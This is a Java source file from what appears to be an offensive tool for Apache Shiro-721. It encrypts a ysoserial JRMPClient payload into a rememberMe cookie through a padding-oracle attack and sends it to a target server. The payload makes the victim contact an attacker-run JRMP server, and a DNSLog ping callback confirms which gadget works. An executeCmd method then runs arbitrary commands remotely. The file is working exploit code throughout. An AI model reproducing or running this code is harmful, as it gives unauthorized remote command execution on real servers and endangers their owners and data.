package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.PaddingOracle;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.*;

public class Shiro721VerifierWithJRMP implements Verifier {
    private Config config;
    private List<PayloadType> gadgets;

    public Shiro721VerifierWithJRMP(){
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
        System.out.println("[*] Using Shiro721VerifierWithJRMP");
        System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
        System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
        System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
        System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
    }

    @Override
    public void getValidGadget() throws ExploitFailedException {
        for(PayloadType type : config.getGadgets()){

            System.out.println("[*] Trying Gadget: " + type.getName());
            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            //这里用 ping 主要是为了节约检测时间，不需要针对 Windows 和 Linux 去分开对待
            //在 Linux 下，如果 ping 不跟 -c 参数，会一直 ping 下去，这里存在瑕疵，为了检测方便，这点还是可以接受吧
            String command = "ping " + uuid + "." + config.getDnsLogRecord();
            process(command, type);

            if(Tools.getValidDNSLogRecord(uuid)){
                this.gadgets.add(type);
                System.out.println("[+] Find Valid Gadget: " + type.getName());
                if(config.isSkipIfFound()){
                    break;
                }
            }
        }

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can't find a valid gadget");
        }
    }

    @Override
    public String executeCmd(String cmd){
        PayloadType payloadType = Tools.randomSelect(gadgets);

        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");

        try {
            process(cmd, payloadType);
        } catch (ExploitFailedException e) {
            e.printStackTrace();
        }
        System.out.println("[+] Done");

        return null;
    }

    private void process(String command, PayloadType payloadType) throws ExploitFailedException {
        Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command);

        command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort();
        byte[] payload = Tools.exec(command);
        PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), payload);
        String rememberMe = paddingOracle.encrypt();
        System.out.println("[*] rememberMe=" + rememberMe);
        HttpRequest.request(config.getRequestInfo(), rememberMe);

        try{
            Thread.sleep(config.getJRMPRequestDelay() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}
